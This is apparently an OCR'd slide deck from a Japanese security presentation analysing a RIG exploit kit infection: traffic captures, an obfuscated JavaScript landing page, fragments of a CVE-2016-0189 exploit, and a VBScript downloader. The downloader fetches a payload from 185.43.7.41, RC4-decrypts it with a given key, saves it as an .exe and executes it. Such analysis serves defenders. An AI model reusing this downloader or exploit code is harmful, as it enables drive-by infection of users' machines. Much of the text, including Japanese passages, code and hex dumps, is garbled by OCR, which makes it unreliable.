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« No.6@HTTPL X/R> X (Landing page)(C#tsR{tJavaScript

4 Progress Telerik Fiddler Web Debugger - EKFiddle v.0.9.3.7 - X
File Edit Rules Tools View Help EKFiddle
28 WinConfig C) 44 Replay X~ P Go | ¥ Stream [

Keep: All sessions » &5 Any Process 33 Find [] Save [TE1) ® @& Browse ~ @Clear Cache T TextWizard | [& Tearoff

# Result  Protocal Host URL Body Caching Content-Type Process Comments Custom
El1 200 HTTPS www. fiddler2.com [UpdateCheck.aspx?isBeta=False 330 private textfplain; charset=utf-a
2 301 HTTP popcash.net  fworld/go/216668/462082 162 text/html {01)
¢93 200 HTTP ps.popcash.net  fgo/216668/462082 426 text/himl (02)
4 303 HTTP ps.popcash.net  fad/ad?p=2166688mw=4620828t=4a 1e58d32782560a4r. .. 48 text/himl; charset=utf-8 03)
[ss 302 HTTP teordis.com.pl  / 0 text/himl 049
€33 HTTP 185.43.7.41 ["MTkzMDAS&FQdDuN&pfuZuvfp=strategy&nbPwFOF=... 169,896 text/html;charset=UTF-8 (05) RIG EK [URI] (Landing Page)
ﬁ 7 200 HTTP 185.43.7.41 [?MTMONDk 1&hzdnHcC&ff5ds =xXjQMvWabRXQAP3EKVP. .. 7,530 application/x-shockwave-flash (06) RIG EK [URI] (Flash Exploit)
HTTP 185.43.7.41 [?NDEzNTgy&tEiBioweddfKjyhVFD=criticized&IDIBHOIRm... 524,288 application/x-msdownload (07) RIG EK [URI] (Payload)

GetStarted (3) Statistics w4 Inspectors 4 AutoResponder | # Composer [3¢] Fiddler Orchestra Beta .5z FiddlerSaript =] Log [ Filters ™ Timeline
Headers ‘ TextView ‘ SyntaxView | WebForms ‘ HexView ‘ Auth Cookies ‘ Raw Transformer ‘ Headers | TextView || SyntaxView ‘ ImageView | HexView ‘ WebView | Auth ‘ Caching ‘
J50N | XML Cookies | Raw | JSON | xML |

equest Headers aw] [Header Definitions 1| <html><head> =
|GET ST kzWDAS EF QdDuMEpfuZuntp: y&nbPwF OF sprofessional &hbj spi Ey&TCrhEREk=di &l http-equi "Content-Type" content="text/html; charset=UTF-28">
Client E < http-equiv="x-ua-compatible”™ content="IE=10"=>

Accept: textfhtml, application/xhtml+xml, */* _ http-equ:?. 'Expirei" c:\ntenr,=.“l.1"> -

Accept-Encoding: g2p, defte G| cmeta hetoemuivPragast comtens—tno-cache™>

—egqul ache-contro ntent="no-cache”>
Accept-Language: ja-JP : s . . " )

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT &.1; Trident/5.0)
Miscellaneous

Referer: htip: //ps.popcash.netfgo/216668/462082
Transport

Connection: Keep-Alive

Host: 185.43.7.41

f£ds = "rtBefore", c=document, b=c["createElement”] ("script™);b["type”]="text/
javascript”,b["text"]=a, a=c["getElementsByTagName"] ("script™) [0], a.parentNode ["
inse"+fds] (b, a) }try{setTimeout {fvbnvbn, 2€50);}catchim){}function 1() {var rah=
String; var s = "
dmFyIGEnZGInZCASICIiOy8ge2imeCN4dnI1dHVybiBl1OyBSICZ1bmN0aW9zZCY¥gL3ZheciBmZ2RmZmd=
ZCRSICIiCZZlbmNO0aWSulGZnatdoaZhgaZhgEG51bSwgd2lkdGgpe3ZhciBjdmJulD0gljAXMIHONTY3
CD1hYmNkZWYiOySqgos¥xMjUwZGEZmZDEWMDAWMEhkNTkzMzhoZnMgL3ZheciBmZZhnattoamtoaiASIGN2
¥mduc3Vic3RyEGS 1bSAMIDE4RiwgMSk7d2hpbFUgEGS 1bSA+IDE4Rikge251bSASIGS1bSA+
Pj4gNDtmZZhnaGtoamtoailSIGH2Ymduc3Vic3RyECS 1bSAmIDB4RiwgMSkgEyEmZZhnaGtoamtoajts
dmFyIHdpZHRoIDOgEHdpZHRoIDEgd21kdGEggPiAwKTsgd2ZhpbClgEEZnatdoalhgaZhglmel bmd0aCas
IHdpZHRoEWZInaGdoaZhgaZhgIDOgIjRAiICsgZmdoZZhratprato7emV0dEJulEinatdoaZhgaZhg030E
CglmdWsjdElvbiBnZmAnc2RmNTY 2KHUs IGspIHE2YXIgZnI SUARyaWSnLmZyb21DaGFy029kZTt2YXIg
Yz0iTiwgY¥j0iIiwgZD0iliwgZjlmeigweDIWESwgZzlmeigwESwgd]lmeigweDIyETt2YXIgYEBWwPWsY
ditmE3¥rdSt2K2Y¥rdituYEIpZ2Fib3TudiNlckFnZWS0E3YrZytnE2crZzthcHAubGVuZ3RoJTIgJi¥g
KCFweCs9Zyk7ZmSyICh2YXIgZSASIDAT ICUgPCEhcHAUbCVUZ 3R00yB1KyspIHtiID0gZmdoZ2hratpr |,

All Processes 1/8 http://185.43.7.41/?MTkzMDA5&FQdDuN &pfuZuvfp=strategy &nbPwFOF =professional &hbjspWW Ja =strategy &TDrhEgEk =difference &ff5ds =xHbQMrjYbR fFFYX fKkPzEUK 1EMUbW
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« JS-Walker

o NTTEF2UFT 0 AU TWLWBEEStIavaScriptEfyg#try —IL

https://www.nttsecurity.com/docs/librariesprovider3/resources/is
walker

« Dockerfile g A O U T "B BDOT. T TO1MNES
. BN ELTRESEINTLVS (CSS/MWS 2016)

https://ipsi.ixsg.nii.ac.jp/ej/index.php?active action=repository vi
ew main item detail&page id=13&block id=8&item id=175838&
item no=1
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{‘}js-walker

Send Analysis > 58af1740-14b4-11ea-9f85-87a2f2f3fcc3

[Original Code]

function fvbnvbn()/*s75954d28376hfj33888fs*/{var a=I(),fds = "rtBefore", c=document, b=c["createElement"]("script");b["type"]="text/javascript",b["text"|=a,a=c["getElementsByTagName"]
("script")[0],a.parentNode["inse"+fds](b,a)}try{setTimeout(fvbnvbn, 2650);}catch(m){}function I(){var rah=String; var s =
"dmFylGZnZGZnZCA9ICIliOy8qc2RmeGN4dnJidHVybiBIOyB9IGZ1bmN0aW9zZGYqL3ZhciBmZ2RmZmdzZCA9ICIiO2Z1bmN0aW9ulGZnaGdoa2hqa2hqKG51bSwgd2lkdGgpe3ZhciBjdmJul
DOgljAXMjMONTY30DIhYmNkZWYiOy8qczYxMjUwZGZmZDEwMDAwWMGhKN TkzMzhoZnMgL3ZhciBmZ2hnaGtoamtoaiASIGN2Ym4uc3Vic3RyKG51bSAmIDB4RiwgMSk7d2hpbGUgKG51bS
A+|DB4Rikge251bSA9IG51bSA+Pj4gNDtmZ2hnaGtoamtoaiA9IGN2Ym4uc3Vic3RyKG51bSAmMIDB4RiwgMSkgKyBmZ2hnaGtoamtoajtddmFylHdpZHRolDOgKHdpZHRoID8gd2lkdGggOiAwKT

sgd2hpbGUgKGZnaGdoa2hqa2hgLmxlbmd0aCA8IHdpZHRoKWZnaGdoa2hqa2hqlDO0gljAilCsgZmdoZ2hraGpraGo7cmV0dXJulGZnaGdoa2hqazhqO30KCglmdW5jdGlvbiBnZmRnc2RmNTY2
KHI lelGenlHi2VYInZnlQl 1I2RvaER m71th21NaGEvO20k Z TV YAV 20iliwaViNiliwaZ DNiliwnZi1meimaa Nk QuinZ74 meimwk Quadilmeimaa DK TV YIaV YRwDWerditmK 2V rd Q12K 2Vrdit VY 7

[Options]

[0001] [Original Code Executed] Original JavaScript Code

function fvbnvbn(}
var a=l(),fds = "re", c=document, b=c["createElement"]("script");
b["type"}="text/javascript”,b["text"]=a,a=c["getElementsBy TagName"]("script*)[0],a.parentNode["inse"+"rtBefo"+fds](b,a)

fvbnvbn()
}
catch(m){

on I(}
rah=String;

vars =
"dmFylIHNkc2Rmc2RmOyAvKnNkZnhjeHZyZXR1cm4gZ TsgfSBmdWS5jdGlve2RmKi8gZnVuY3Rpb24gaGdmZ2VyZGZnZGYobnVILCB3aWR0aCl7dmFyIHZ)YmN2Ym5SmZCASICIwMTIZNDU2Nzg5YWJjZGVmIjt2Y XigaGd
Network mZ2doZiA9ICliOy8qczg4MTexZGdoajM3MTY4aGZmZ2hgNjQwMzBmceyovdmFylGhnZmdicmRmZ2RmID0gdmNiY3ZibmZkLnN1YnNOcihudWO0gJiAweEYsIDEpO3doaWxIIChudWO0gPiAweE YplHtudW0gPSBudWO0gPj4+ID
Q7aGdmZ2VyZGZnZGYgPSB2Y2JjdmJuZmQuc3Vic3RyKGS51bSAmMIDB4RiwgMSkgKyBoZ2ZnZXJkZmdkZjt9dmFylHdpZHRolDOgKHdpZHRolD8gd2lkdGggOiAwKTsgd2hpbGUgKGhnZmdicmRmZ2RmLmxIbmd0aCASI
HdpZHRoKWhnZmdicmRmZ2RmIDOgljAilCsgaGdmZ2VyZGZnZGY7cmV0dXJulGhnZmdicmRmZ2RmO31mdW5jdGlvbiBnaG52Ym4odSwgaykge3ZhciBmcj1 TdHJpbmcuZnJvbUNoYXJDb2RIO3ZhciBjPSIiLCBIPSIILCBk
DOM manipulation PSIILCBmPWZyKDB4MjApLCBnPWZyKDApLCB2PWZyKDB4M)jlpOy8qczEOMzEzZDE3NzE4aGZqNTIzMmZzKi92Y XIgYXBwPWsrditmK3YrdSt2K2YrdituY XZpZ2F0b3ludXNIckFnZWS0K3YrZytnK2crZzthcHAUbGVUZ3R
0JTIgJiYgKGFwcCs9Zyk7Zm9ylCh2YXIgZSASIDA7IGUgPCBhcHAUbGVUZ3RoO0yBIKysplHtiID0gaGdmZ2VyZGZnZGYoY XBwLmNoYXJDb2RIQXQoZSksMik7ZCASIGhnZmdicmRmZ2RmKGFwcC5jaGFyQ29kZUFOKG
UrMSksMik7YyArPSBilCsgZDtlICsOIDE7fXJIdHVybiBjO30vKnMyMjgwM2Rmc2ZmZCovCgoJZnVuY3Rpb24gc2Rmc2RmY 2JzKGRNZGZnLHZibnZiKQoJewoJdmFylGRmMRFNGRyASICc8b2JqgZWNOIGNsYXNzaWQ9ImNs

Code execution

Information
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@ Progress Telerik Fiddler Web Debugger - EKFiddle v.0.9.3.7 - X
File Edit Rules Tools View Help EKFiddle
28 WinConfig ) 43 Replay X = b Go | Stream [l Decode || Keep: All sessions ~ &5 Any Process 33 Find [ Save |05 (3) @ Browse - < Clear Cache T TextWizard | [ Tearoff -
# Result  Protocol Host URL Body Caching Content-Type Process Comments Custom
El1 200 HTTPS www. fiddler2.com /UpdateCheck.aspx?isBeta=False 880 private text/plain; charset=utf-8

301 popcash.net  fworldjao/216668/462082 162 text/html o1

200 ps.popcash.net  [go/216668/462082 426 text/html (02)

303 ps.popcash.net  fadfad?p=2166688w=462082&t=4a 1e58d82782560a8r. .. 48 text/html; charset=utf-8 {03)

302 tcordis.com.pl  / 1] text/html (04)

185.43.7.41 [?MTkzMDAS&FQdDuN&pfuZuvip=strategy@nbPwFOF=... 159,896 textfhiml;charset=UTF-8 (05) RIG EK [URI] (Landing Page)
185.43.7.41 [?MTMONDk18hzdnHcCAff5ds=xXjQMyWabRXQAD3EKWP... 7,530 application/x-shodwave-flash (08) RIG EK [URI] (Flash Exploit)
185.43.7.41 [?NDEzNTgy&tEjBiowe&dfijyhVFD=critiized&IDIBHOIRm... 524,288 applicationx-msdownload (07) RIG EK [URI] (Payload)

200
200

J3f3333

imeline

Get Started @Staﬁstics »r%. Inspectors 4 AutoResponder [#] Composer EFiddlerOrchestraEeta “ig%| FiddlerSeript [El Log [ Fiters
Headers | TextView ‘ SyntaxView WebForms Hex\View ‘ Auth ‘ Cookies Raw ‘ Transformer Headers ‘ TextView Syntax\View ImageView ‘ HexView WebView Auth Caching

BON | XML Cookies | Raw | 1SON | XML
[ Defini 48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D OA 53 HTTE/1.1 200 OE- .5 A

|GET /‘?PDEZNT;\[&tEiEicme&dﬂ(iyh\nFD=u'itic:'zed&lDlBHDIWW“R:pMSsimeI&KMatSeMmenity&s\ﬂﬂw‘ €5 72 7€ €5 72 3A 20 €E €7 €5 6E 78 2F 31 2E 31 30 2E  erver: nginx/1.10.
33 OD OR 44 €1 74 €5 3R 20 53 €1 74 2C 20 30 36 20 4A 3. .Date: Sat, 06 J
Client 75 €C 20 32 30 31 33 20 31 38 3A 30 35 3A 34 35 20 47 ul 2015 18:05:45 G
Accept: */* 4D 54 OD OR 43 6F 6E 74 €5 €E 74 2D 54 73 70 €5 3A 20 MT._Content-Type:
User-Agent: Mozilla/5.0 {compatible; MSIE 9.0; Windows NT &. 1; Trident/5.0; SLCC2; .NET CLR 2.0.5 61 70 70 €C 65 63 €1 74 €3 &F GE 2F 78 2D 6D 73 64 6F application/x-msdo
TE—— 77 6E 6C 6F 61 €4 0D OR 43 &F €E 74 65 6E 74 2D 4C 65 wnload..Content-Le
6E €7 74 €8 3R 20 35 32 34 32 38 38 OD OR 43 6F 6E 6E ngth: 524288 _Conn

Connection: Keep-Alive
Host: 185.43.7.41

€5 63 74 €35 €F 6E 3A 20 6B €5 €5 70 2D 61 &C €35 T7& €5 ection: keep-alive
OD OA 41 €3 €3 €5 70 74 2D 52 €1 6E 67 €5 73 3A 20 €2 --Accept-Ranges: b
79 74 €5 73 0D OA OD OR IR0 2L 6B &F 2C 5S4 ytes. .. .. 0°%_%ko, Z
82 62 5B 75 44 A6 AC 45 7F 5D &4 D2 71 57 1B E2 E&8 7B _blul}-E.]dOgW.4&&{
93 7F &C BA 18 D7 84 D5 1F F5 2B DE 84 07 D& A8 DC OC 15
33 6B FF 46 41 21 B4 9B 58 43 DD 52 SA C&8 FE B9 16 El
3D 04 1A €7 R4 C3 E4 11 OF 7B 50 1B B3 ZA B5 E4 5D D1
7D Bl 53 00 88 C2 B4 D5 7F SF 4D 38 F2 D7 DD BA 57 &F
47 C5 53 84 BD 3C 23 88 C5 0D 53 58 D7 44 07 SB FE TE
4B F2 EC B7 33 01 3E 8D B2 CB D3 1B 5D BF 4D 76 7B 74
7E SD D3 &7 3F CB BF D5 8B B8 32 A0 32 7F F1 2D 37 B3
99 4F 88 D4 EF 78 8F 3A SE EE EB 8E F% C5 22 87 ED F3 _0.0ix_:-~ig hE"_ i
3C 80 8h OB EA 56 80 AD 7C AS Al C6 E1 DO 77 A7 01 3D . ¥ {E&DwE .=
22 39 15 4E 45 41 36 DC OB 5B 35 10 08 35 88 7% C2 35 i A
SC OC 48 C1 &8 63 CF 41 3C EAR Dé B5 8C 3A 13 &C OF 05 __HARiTA &6p_-.1__
F4 D& 45 BS5 58 F2 €5 AE 2D 43 25 06 OC TA AB 2F EA F4 S0ER.0i®-C) - .z«/&8
8D DE 2E 83 FA 01 FF €0 93 BB C2 1C E€ 2D 20 88 OB SE _B._d.§ .k oe- .-
CC &7 2C 2C 38 FO 00 3E 85 56 16 D7 SF 1D B4 34 5B 18 ig,,88.> V.x__"4[.
34 OB 8F 43 21 F3 C3 52 A1 Bl 72 8B 4B 14 7B 3B BZ BD 4__ClaAR 2z K_{;°%

{P.vpElR
_MB8axD"Wo

CO NF 82 0B CF 46 FE Br 26 33 £2 97 FF N £T FD 7R 26 AE  oEak 28 % 3iss Y
< > 0 [0x0] of body 4 [0x4] bytes selected Readonly
= All Processes 1/8 http://185.43.7.41/?NDEzNT gy &tEjBiowe &dfKjyhVFD =criticized &IDIBHOIRmsMSWR =professional &wkUtatSe Awv =community &s\WBwecGP =constitution&VsnyjkhXopBolel=deto

Copyright © 2019 N.F.Laboratories Inc.
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« FO—RENEXOUT MAMNSEES, (URL) ZRXR
« FO— RE&NEVBScriptNIC. 0> 0O0— RUIEHERERE
o B fire hEITINIEEEIOND

fire()

key="cN9km35a"
url="http://185.43.7.41/?NDEzNTgy&tEjBiowe&dfKjyhVFD=criticized&1D
sWBwecGP=constitution&VsnyjkhXopBolel=detonator&QzzehDqrTInufsw=kn
N1LVGiMs=community&IKkrgTcCdWVdpO=referred&pKVfKeZH=referred&
t4tsg4=IBIMS9q_6hkfWmx6ciZGC_hLbNwIUrpvEQLKk5iVv8zbcUccNOkxDR6WcGz0
UfcXMISekLmXXh=heartfelt&fIxdDQrbaB=detonator&
ff5ds=xHbQMrfYbRnFFYTfKPLEUKJEMUjWAOQCKwYaZhanVF5axFD7Gpbv1FxvspVWd
uas=Navigator.userAgent

t 0ss=GetObject("winmgmts:").InstancesOf("Win32_OperatingSystem"
osloc
awghjghg
for each os in oss
osloc=0s.0SLanguage
next
SetLocale(osloc)

- req=CreateObject("WinH"&"TTP.WinHTTPRequest.5.1")
fdgx4545¢c = "GET"
req.SetProxy 0
req.0Open fdgx4545c,url,0
req.Option(0@)=uas
req.Send

Copyright © 2019 N.F.Laboratories Inc.
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=UIET—9ZESUTI7AILICRIFER. E1T

req=CreateObject ("WinH"&"TTP.WinHTTPRequest.5.1")

fdgx4545¢c = "GET"
req.SetProxy 0
req.Open fdgx4545c,url,@
req.Option(@)=uas
req.Send
If 200=req.status Then

z=req. responseBody

Ao>O— RUIET—9Z2E 8 zICRF
f=c.BuildPath(tmp, rnds(8)&".exe")

stream=CreateObject("ADODB.Stream")
stream.Open
stream.Type=1 cN9km35a
stream.Write z

arcnsave stream,key,f
stream.Close

w=CreateObject ("WScript.Shell")
w.CurrentDirectory=tmp
oldroot=w.Environment("Process").Item("SystemRoot")
w.Environment("Process").Item("SystemRoot")=tmp
w.Environment("Process").Item("SysFilename")=f
= CreateObject("Shell.Application")
Environment("Process").Item("SystemRoot")=o0ldroot

ZBHzDFT—F =2 A NI —ACEZIAH
Bi#%arcnsavelliE 9

Copyright © 2019 N.F.Laboratories Inc.

arcnsave(stream,strKey, fname)
kLen,x,y,1i,j,t,slen,aBuf,bStream
s(256),k(256)
klen=Len(strKey)
For i=@0 To 255
s(i)=i
k(i)=AscB(Mid(strKey, (i Mod klen)+1,1))
Next
j=0
For i=@0 To 255
j=(j+k(i)+s(i)) And 255
t=s(i):s(i)=s(j):s(j)=t
Next
slen=stream.position
rc(slen)
stream.position=0
x=0:y=0
For i=@ To slen-1
x=(x+1) And 255
y=(y+s(x)) And 255
t=s(x):s(x)=s(y):s(y)=t
rc(i)=Chr(CByte(s((s(x)+s(y)) And 255) Xor AscB(stream.Read(1))))
Next
rctxt: rctxt = join(rc,"")
c=CreateObject("Scripting.FileSystemObject")
b=c.CreateTextFile(fname)
b.Write rctxt
b.Close

N

—_

—SEEBSLTCI7AMILICREFELTED
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« CyberChef
1+ X GCHQ WAL TWLWBT—4#ETY—IL
Web77 T U -2 3> U THERBDTI S(CFERAT]
https://gchqg.qgithub.io/CyberChef/
¥R I8 ARDIES(E - FE{EHS KLMES (CHIG
XOR, Base64, AES, DES , RC4, Blowfish, etc:---

Copyright © 2019 N.F.Laboratories Inc.
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JILITFDES W/ NFLabs

- Cyber Chef T RC4 diE=

Download CyberChef i Last build: 5 days ago - v9 supports multiple inputs and a Node API allowing you to prog... Options ¢ About / Support 0

Operations Recipe aEm 3 Input length: 52,28+ [0 2] W =

RC4 RC4 Q n

RC4 Passphrase

cN9km35a uTrs »
RC4 Drop Name: §_bin
Input format Qutput format
: : Size: 524,288 bytes
Favourites * Latin1 Latin1 Y
Type: application/octet-stream

Data format Loaded: 100%

Encryption / Encoding

Public Key

Arithmetic / Logic time: 346ms

? Output length: s2s2:2 [ I_D 3] )
lines: 1

LS Congratulations!Congratulations!Congratulations!Congratulations!Congratula
tions!Congratulations!Congratulations!Congratulations!Congratulations!Cong

Language ratulations!Congratulations!Congratulations!Congratulations!Congratulation
s!Congratulations!Congratulations!Congratulations!Congratulations!Congratu

Utils lations!Congratulations!Congratulations!Congratulations!Congratulations!Co
ngratulations!Congratulations!Congratulations!Congratulations!Congratulati

Date / Time ons!Congratulations!Congratulations!Congratulations!Congratulations!Congra
tulations!Congratulations!Congratulations!Congratulations!Congratulations!

Extractors Congratulations!Congratulations!Congratulations!Congratulations!Congratula
tions!Congratulations!Congratulations!Congratulations!Congratulations!Cong

Compression ratulations!Congratulations!Congratulations!Congratulations!Congratulation
s!Congratulations!Congratulations!Congratulations!Congratulations!Congratu

Hashing STEP m lations!Congratulations!Congratulations!Congratulations!Congratulations!Co

Auto Bake ngratulations!Congratulations!Congratulations!Congratulations!Congratulati

m~_ sz [P R T ‘- N ‘- v s . P T "




NIV LT OES il

« B LT —HD/\v> 1B (SHA256) HUS

Download CyberChef i Last build: 5 days ago - v9 supports multiple inputs and a Node AP allowing you to prog... Options * About / Support 0
Operations Recipe S BN Input lengtn: s2¢,28 + [0 2] B -
SHA2 RC4 1
SHA2 Passphrase

cN9km35a Utrs %
Parse SSH Host Key Name: 8_bin

nput format Output format

. ; - .
Favourites * Latin1 Latin1 Size: 524,288 bytes
Type: application/octet-stream

Lot SHA2 " Loaded: 100%
Encryption / Encoding Size

256
Public Key
Arithmetic / Logic time: 335ms .

Output length: e 5 | I_D 5 La

LI 77b73d65f c39933dab3das5cfda550c649dedf4ff5aad16d29F013c92196b45e
Language
Utils
Date / Time
Extractors

Compression

Auto Bake

~~a_ara
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EAENEREEDNE

« B3N fire NEDK D (CHEEINTEHAER

« @ DB H CVE-2016-0189 DEXxploit&—EX
« https://www.jpcert.or.jp/present/2018/JSAC2018 05 ikuse.pdf
« https://theori.io/research/cve-2016-0189

ProtectMe (argl) 0;
addr 0= {

sexy "valueOf":
L hedfsdf();

mem : -
dm = New MiddleD return abc;

addr = GogoGoA(argl, dm) ¥

mem = sdfxcvxc(argl, addr + 8) };

sexy = strToInt(Mid(mem, 3, 2)) setTimeout (

mem = sdfxcvxc(argl, sexy + 4) ProtectMe(o);
koles = strToInt(Mid(mem, 1, 2)) }

Rewwati argl, koles + &H174 .

fire() s 361}

Rewwati2 argl, koles + &H174

@ ProtectMe h\5 fire ZIFEUH L @ ProtectMe%Z MU U
(L>O— RSN TULZVBScriptNDULIR) (ODO— RAMEHIAENTULE
JavaScriptIDALIE)
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as ty) 7 NFLabs.

« ITORBICDWLT, RRBARLLBFEZMNNSTI (CTITDIHEE
fEsR UTT
- E#ER{bJIavaScriptDENRIEZAT (C K DEFEE
IO T 7ESOOD YO EESFE

« 2T RANCEEREIFIRN G DDT. BiFOY—)LZ2fEDS
EEEE D
« LU, W—ILICEBD TEBDIEING
RNV dp B & (0 —)LODZEEIRIBE AN TIER L TH <

« FHUORIBIE EBUWEEEIZ>TEhE: -
« %5(CJS-Walker T DockerzfEs & A
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